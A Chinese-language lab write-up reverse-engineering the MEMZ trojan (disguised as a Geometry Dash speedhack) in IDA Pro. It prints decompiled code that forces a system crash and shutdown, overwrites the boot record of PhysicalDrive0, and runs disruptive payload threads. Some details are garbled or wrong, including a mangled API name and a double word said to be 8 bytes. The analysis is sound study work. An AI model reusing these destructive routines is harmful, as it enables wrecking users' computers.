实验工具
实验平台:Hello-CTF-OS
实验工具:IDA Pro
病毒样本名称:geometry dash auto speedhack.exe
MD5:19dbec50735b5f2a72d4199c4e184960
SHA1:6fed7732f7cb6f59743795b2ab154a3676f4c822
实验步骤
运行病毒样本
打开任务管理器,观察进程情况。
运行病毒样本,观察进程情况。
略
逆向分析
定位
查一下文件信息
打开 IDA Pro,导入病毒样本。
定位到 start 函数,查看伪代码。
start 函数分析
1 2 3 4 5 6 dword_405184 = GetSystemMetrics(0 ); dword_405188 = GetSystemMetrics(1 ); CommandLineW = GetCommandLineW(); v1 = CommandLineToArgvW(CommandLineW, &pNumArgs); if ( pNumArgs > 1 )
变量说明:
v1 参数数组,可以访问命令行所有参数
pNumArgs 参数个数
根据 pNumArgs 和 v1 的内容可以把 start 函数分为三个部分:
watchdog 部分
main 部分
无参数部分
双击运行病毒样本,首先运行的是无参数部分
无参数部分分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (MessageBoxA( 0 , "The software you just executed is considered malware.\r\n" "This malware will harm your computer and makes it unusable.\r\n" "If you are seeing this message without knowing what you just executed, simply press No and nothing will happen." "\r\n" "If you know what this malware does and are using a safe environment to test, press Yes to start it.\r\n" "\r\n" "DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?" , "MEMZ" , 0x34 u) == 6 && MessageBoxA( 0 , "THIS IS THE LAST WARNING!\r\n" "\r\n" "THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n" "STILL EXECUTE IT?" , "MEMZ" , 0x34 u) == 6 )
很明显这是两次弹窗的内容
Message BoxA 是 Windows API 中的一个函数,用来弹出一个对话框。如果用户点击“是”,返回值 6
代码继续执行的内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { v10 = (WCHAR *)LocalAlloc(0x40 u, 0x4000 u); GetModuleFileNameW(0 , v10, 0x2000 u); v11 = 5 ; do { ShellExecuteW(0 , 0 , v10, L"/watchdog" , 0 , 10 ); --v11; } while ( v11 ); pExecInfo.cbSize = 60 ; pExecInfo.lpFile = v10; pExecInfo.lpParameters = L"/main" ; pExecInfo.fMask = 64 ; pExecInfo.hwnd = 0 ; pExecInfo.lpVerb = 0 ; pExecInfo.lpDirectory = 0 ; pExecInfo.hInstApp = 0 ; pExecInfo.nShow = 10 ; ShellExecuteExW(&pExecInfo); SetPriorityClass(pExecInfo.hProcess, 0x80 u); }
创建了 5 个命令行参数为 /watchdog
的进程,和 1 个命令行参数为 /main
的进程。在病毒文件执行的时候可以看到这 6 个进程。
到此无参数部分分析完毕。
watchdog 部分分析
函数名是看门狗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ( !lstrcmpW(v1[1 ], L"/watchdog" ) ) { CreateThread(0 , 0 , sub_40114A, 0 , 0 , 0 ); pExecInfo.lpVerb = (LPCWSTR)48 ; pExecInfo.lpParameters = (LPCWSTR)sub_401000; pExecInfo.hIcon = (HANDLE)"hax" ; pExecInfo.lpFile = 0 ; memset (&pExecInfo.lpDirectory, 0 , 28 ); pExecInfo.hProcess = 0 ; RegisterClassExA((const WNDCLASSEXA *)&pExecInfo.lpVerb); CreateWindowExA(0 , "hax" , 0 , 0 , 0 , 0 , 100 , 100 , 0 , 0 , 0 , 0 ); while ( GetMessageW(&Msg, 0 , 0 , 0 ) > 0 ) { TranslateMessage(&Msg); DispatchMessageW(&Msg); } }
创建了一个线程,并在线程中调用了 sub_40114A
函数。还出现了sub_401000
函数
sub_40114A 函数分析
跟进函数看看里面发生了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 void __stdcall __noreturn sub_40114A (LPVOID lpThreadParameter) { HANDLE CurrentProcess; HANDLE Toolhelp32Snapshot; const CHAR *v3; int v4; PROCESSENTRY32W pe; LPCSTR lpString1; int v7; LPCSTR lpString2; HANDLE hObject; v7 = 0 ; lpString1 = (LPCSTR)LocalAlloc(0x40 u, 0x200 u); CurrentProcess = GetCurrentProcess(); GetProcess../img/CyberSecurity/5 -cat/imageFileNameA(CurrentProcess, lpString1, 512 ); Sleep(0x3E8 u); while (1 ) { Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u , 0 ); pe.dwSize = 556 ; Process32FirstW(Toolhelp32Snapshot, &pe); v3 = lpString1; v4 = 0 ; do { hObject = OpenProcess(0x400 u, 0 , pe.th32ProcessID); lpString2 = (LPCSTR)LocalAlloc(0x40 u, 0x200 u); GetProcess../img/CyberSecurity/5 -cat/imageFileNameA(hObject, lpString2, 512 ); if (!lstrcmpA(v3, lpString2)) ++v4; CloseHandle(hObject); LocalFree((HLOCAL)lpString2); } while (Process32NextW(Toolhelp32Snapshot, &pe)); CloseHandle(Toolhelp32Snapshot); if (v4 < v7) sub_401021(); v7 = v4; Sleep(0xA u); } }
首先是一个 while(1)死循环,首先获取系统快照,然后遍历快照每一个进程,比较进程名字是否相同,如果相同,v4+1。如果 v4<v7,则调用sub_401021
函数。
总的来说,这个函数是用来监控系统进程的变化,可以检测无参数部分开启的进程是否被关闭。如果检测到少于 6 个进程,则调用sub_401021
函数。
sub_401021 函数分析
继续看看sub_401021
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 BOOL __usercall sub_401021 @<eax>(int a1 @<ebp>) { int v1; int v2; HMODULE LibraryA; FARPROC RtlAdjustPrivilege; FARPROC NtRaiseHardError; void (__cdecl * v6)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); HANDLE CurrentProcess; int v9; struct _TOKEN_PRIVILEGES v10 ; int v11; HANDLE v12; int v13; int v14; v1 = 20 ; do { CreateThread(0 , 0x1000 u, StartAddress, 0 , 0 , 0 ); Sleep(0x64 u); --v1; } while (v1); v2 = v14; v14 = a1; v9 = v2; LibraryA = LoadLibraryA("ntdll" ); RtlAdjustPrivilege = GetProcAddress(LibraryA, "RtlAdjustPrivilege" ); NtRaiseHardError = GetProcAddress(LibraryA, "NtRaiseHardError" ); v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))NtRaiseHardError; if (RtlAdjustPrivilege && NtRaiseHardError) { ((void (__cdecl *)(int , int , _DWORD, char *, int , int ))RtlAdjustPrivilege)(19 , 1 , 0 , (char *)&v13 + 3 , v13, v9); v6(-1073741790 , 0 , 0 , 0 , 6 , &v11); } CurrentProcess = GetCurrentProcess(); OpenProcessToken(CurrentProcess, 0x28 u, &v12); LookupPrivilegeValueW(0 , L"SeShutdownPrivilege" , &v10.Privileges[0 ].Luid); v10.PrivilegeCount = 1 ; v10.Privileges[0 ].Attributes = 2 ; AdjustTokenPrivileges(v12, 0 , &v10, 0 , 0 , 0 ); return ExitWindowsEx(6u , 0x10007 u); }
创建 20 个进程,随机出现在屏幕任意位置
使用RtlAdjustPrivilege
函数提升权限,调用NtRaiseHardError
函数触发蓝屏
使用SeShutdownPrivilege
权限关闭系统,退出 Windows,关机/重启,所以在此处调用sub_401021
函数,监控系统中 6 个进程是否被关闭,如果被关闭,则关闭系统,退出 Windows,关机/重启。
sub_401000 函数分析
1 2 3 4 5 6 7 8 9 LRESULT __stdcall sub_401000 (HWND a1, UINT a2, WPARAM a3, LPARAM a4) { int savedregs; if ( a2 != 16 && a2 != 22 ) return DefWindowProcW(a1, a2, a3, a4); sub_401021((int )&savedregs); return 0 ; }
函数只处理了 16 和 22 的消息,其他消息返回 0,并调用sub_401021
函数。
在此处调用sub_401021
函数,可以检测到用户是否主动关机/重启,如果用户主动关机也会执行该函数
所以,watchdog 部分的功能是监控进程状态和用户是否主动关机,如有发现,立即进入sub_401021
函数,执行最后操作
main 部分分析
main 函数是核心部分,首先打开物理磁盘覆盖 MBR,达到开机执行彩虹猫的效果,另一块是运行病毒出现的各种现象
物理磁盘覆盖 MBR
MBR 是一个引导程序,引导加载操作系统,所以需要覆盖掉 MBR,达到开机执行彩虹猫的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 FileA = CreateFileA("\\\\.\\PhysicalDrive0" , 0xC0000000 , 3u , 0 , 3u , 0 , 0 ); hObject = FileA; if ( FileA == (HANDLE)-1 ) ExitProcess(2u ); v3 = 0 ; v4 = LocalAlloc(0x40 u, 0x10000 u); v5 = v4; do { ++v3; *v5 = v5[byte_402118 - v4]; ++v5; } while ( v3 < 0x12F ); for ( i = 0 ; i < 0x7A0 ; ++i ) v4[i + 510 ] = byte_402248[i]; if ( !WriteFile(FileA, v4, 0x10000 u, &NumberOfBytesWritten, 0 ) ) ExitProcess(3u ); CloseHandle(hObject);
使用 CreateFileA 函数打开主磁盘 PhysicalDrive0,并使用 WriteFile 函数覆盖掉 MBR。
运行病毒出现的各种现象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 v7 = CreateFileA("\\note.txt" , 0xC0000000 , 3u , 0 , 2u , 0x80 u, 0 ); if ( v7 == (HANDLE)-1 ) ExitProcess(4u ); if ( !WriteFile( v7, "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n" "\r\n" "Your computer won't boot up again,\r\n" "so use it as long as you can!\r\n" "\r\n" ":D\r\n" "\r\n" "Trying to kill MEMZ will cause your system to be\r\n" "destroyed instantly, so don't try it :D" , 0xDA u, &NumberOfBytesWritten, 0 ) ) ExitProcess(5u ); CloseHandle(v7); ShellExecuteA(0 , 0 , "notepad" , "\\note.txt" , 0 , 10 ); v8 = 0 ; v9 = (DWORD *)&off_405130; do { Sleep(v9[1 ]); CreateThread(0 , 0 , sub_401A2B, v9, 0 , 0 ); ++v8; v9 += 2 ; } while ( v8 < 0xA ); while ( 1 ) Sleep(0x2710 u); }
创建一个note.txt
文件,并写入内容,然后打开note.txt
文件
接下来,创建 10 个线程,每个线程执行sub_401A2B
函数,该函数会在屏幕上随机出现一些图标,并在图标上显示一些文字。
创建完之后,进入死循环,每 10 秒暂停一次
进入 sub_401A2B 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __stdcall __noreturn sub_401A2B (int (__cdecl **lpThreadParameter)(int , int )) { int v1; int v2; int i; v1 = 0 ; v2 = 0 ; for ( i = 0 ; ; ++i ) { if ( !v1-- ) v1 = (*lpThreadParameter)(v2++, i); Sleep(0xA u); } }
传入 v9,每创建一个 v9 就自增 2,v9 是 Double Word,每次自增是增加 8 个字节
1 Word=2 Byte,Double Word = 8 Byte=4 Word
查看 v9 的地址如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .data:00405130 off_405130 dd offset sub_4014FC ; DATA XREF: start+1F 1↑o .data:00405134 db 30 h ; 0 .data:00405135 db 75 h ; u .data:00405136 db 0 .data:00405137 db 0 .data:00405138 dd offset sub_40156D .data:0040513 C db 30 h ; 0 .data:0040513 D db 75 h ; u .data:0040513 E db 0 .data:0040513F db 0 .data:00405140 dd offset sub_4017A5 .data:00405144 db 20 h .data:00405145 db 4 Eh ; N .data:00405146 db 0 .data:00405147 db 0 .data:00405148 dd offset sub_4016A0
从初始地址 00405130 依次自增 2 个 DWORD(即 8 字节)分别变为 00405138、00405140、00405148、00405150、00405158、00405160、00405168、00405170、00405178,每个地址都对应了一个函数:sub_4014FC(初始)、sub_40156D、sub_4017A5、sub_4016A0、sub_4015D4、sub_40162A、sub_401866、sub_401688、sub_4017E9、sub_4016CD。这些函数就是导致电脑出现异常现象的元凶,这里需要逐个的分析每个函数,依次查看这些函数的伪代码
sub_4014FC 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl sub_4014FC (int a1) { unsigned int v1; int v2; v1 = sub_401A55(); ShellExecuteA(0 , "open" , (&lpFile)[v1 % 0x2E ], 0 , 0 , 10 ); v2 = sub_401A55(); return sub_401B09( COERCE_UNSIGNED_INT64((double )a1), HIDWORD(COERCE_UNSIGNED_INT64((double )a1)), (double )(v2 % 200 ) + 1500.0 / ((double )a1 / 15.0 + 1.0 ) + 100.0 ); }
该函数使用 ShellExecuteA 随机打开一个文件/网页。双击 lpFile 进入查看。如下所示,可以看到该函数随机打开的网页和文件有哪些。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 .data:00405000 lpFile dd offset aHttpGoogleCoCk .data:00405000 ; DATA XREF: sub_4014FC+18 ↑r .data:00405000 ; "http://google.co.ck/search?q=best+way+t" ... .data:00405004 dd offset aHttpGoogleCoCk_0 ; "http://google.co.ck/search?q=how+2+remo" ... .data:00405008 dd offset aHttpGoogleCoCk_1 ; "http://google.co.ck/search?q=mcafee+vs+" ... .data:0040500 C dd offset aHttpGoogleCoCk_2 ; "http://google.co.ck/search?q=how+to+sen" ... .data:00405010 dd offset aHttpGoogleCoCk_3 ; "http://google.co.ck/search?q=minecraft+" ... .data:00405014 dd offset aHttpGoogleCoCk_4 ; "http://google.co.ck/search?q=how+to+get" ... .data:00405018 dd offset aHttpGoogleCoCk_5 ; "http://google.co.ck/search?q=bonzi+budd" ... .data:0040501 C dd offset aHttpGoogleCoCk_6 ; "http://google.co.ck/search?q=how+2+buy+" ... .data:00405020 dd offset aHttpGoogleCoCk_7 ; "http://google.co.ck/search?q=how+to+cod" ... .data:00405024 dd offset aHttpGoogleCoCk_8 ; "http://google.co.ck/search?q=what+happe" ... .data:00405028 dd offset aHttpGoogleCoCk_9 ; "http://google.co.ck/search?q=g3t+r3kt" .data:0040502 C dd offset aHttpGoogleCoCk_10 ; "http://google.co.ck/search?q=batch+viru" ... .data:00405030 dd offset aHttpGoogleCoCk_11 ; "http://google.co.ck/search?q=virus.exe" .data:00405034 dd offset aHttpGoogleCoCk_12 ; "http://google.co.ck/search?q=internet+e" ... .data:00405038 dd offset aHttpGoogleCoCk_13 ; "http://google.co.ck/search?q=facebook+h" ... .data:0040503 C dd offset aHttpGoogleCoCk_14 ; "http://google.co.ck/search?q=virus+buil" ... .data:00405040 dd offset aHttpGoogleCoCk_15 ; "http://google.co.ck/search?q=how+to+cre" ... .data:00405044 dd offset aHttpGoogleCoCk_16 ; "http://google.co.ck/search?q=how+to+rem" ... .data:00405048 dd offset aHttpGoogleCoCk_17 ; "http://google.co.ck/search?q=my+compute" ... .data:0040504 C dd offset aHttpGoogleCoCk_18 ; "http://google.co.ck/search?q=dank+memz" .data:00405050 dd offset aHttpGoogleCoCk_19 ; "http://google.co.ck/search?q=how+to+dow" ... .data:00405054 dd offset aHttpGoogleCoCk_20 ; "http://google.co.ck/search?q=half+life+" ... .data:00405058 dd offset aHttpGoogleCoCk_21 ; "http://google.co.ck/search?q=is+illumin" ... .data:0040505 C dd offset aHttpGoogleCoCk_22 ; "http://google.co.ck/search?q=montage+pa" ... .data:00405060 dd offset aHttpGoogleCoCk_23 ; "http://google.co.ck/search?q=the+memz+a" ... .data:00405064 dd offset aHttpGoogleCoCk_24 ; "http://google.co.ck/search?q=stanky+dan" ... .data:00405068 dd offset aHttpGoogleCoCk_25 ; "http://google.co.ck/search?q=john+cena+" ... .data:0040506 C dd offset aHttpGoogleCoCk_26 ; "http://google.co.ck/search?q=vinesauce+" ... .data:00405070 dd offset aHttpGoogleCoCk_27 ; "http://google.co.ck/search?q=skrillex+s" ... .data:00405074 dd offset aHttpAnswersMic ; "http://answers.microsoft.com/en-us/prot" ... .data:00405078 dd offset aHttpMotherboar ; "http://motherboard.vice.com/read/watch-" ... .data:0040507 C dd offset aHttpPlayClubpe ; "http://play.clubpenguin.com" .data:00405080 dd offset aHttpPcoptimize ; "http://pcoptimizerpro.com" .data:00405084 dd offset aHttpSoftonicCo ; "http://softonic.com" .data:00405088 dd offset aCalc ; "calc" .data:0040508 C dd offset File ; "notepad" .data:00405090 dd offset aCmd ; "cmd" .data:00405094 dd offset aWrite ; "write" .data:00405098 dd offset aRegedit ; "regedit" .data:0040509 C dd offset aExplorer ; "explorer" .data:004050 A0 dd offset aTaskmgr ; "taskmgr" .data:004050 A4 dd offset aMsconfig ; "msconfig" .data:004050 A8 dd offset aMspaint ; "mspaint" .data:004050 AC dd offset aDevmgmtMsc ; "devmgmt.msc" .data:004050B 0 dd offset aControl ; "control" .data:004050B 4 dd offset aMmc ; "mmc"
可以看到,该函数打开的网页和文件有很多,而且是随机的。
sub_40156D 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl sub_40156D (int a1, int a2) { int v2; int v3; int v4; int v5; int v7; struct tagPOINT Point ; GetCursorPos(&Point); v2 = a2 / 2200 + 2 ; v3 = sub_401A55() % v2; v4 = sub_401A55() % v2; v7 = Point.y + v3 * (sub_401A55() % 3 - 1 ); v5 = sub_401A55(); SetCursorPos(Point.x + v4 * (v5 % 3 - 1 ), v7); return 2 ; }
使用 GetCursorPos 获取当前屏幕的鼠标位置,然后在一定范围内随机取值,使用 SetCursorPos 设置新的鼠标位置,造成屏幕上鼠标抖动的现象。
剩下的就不一一列举了。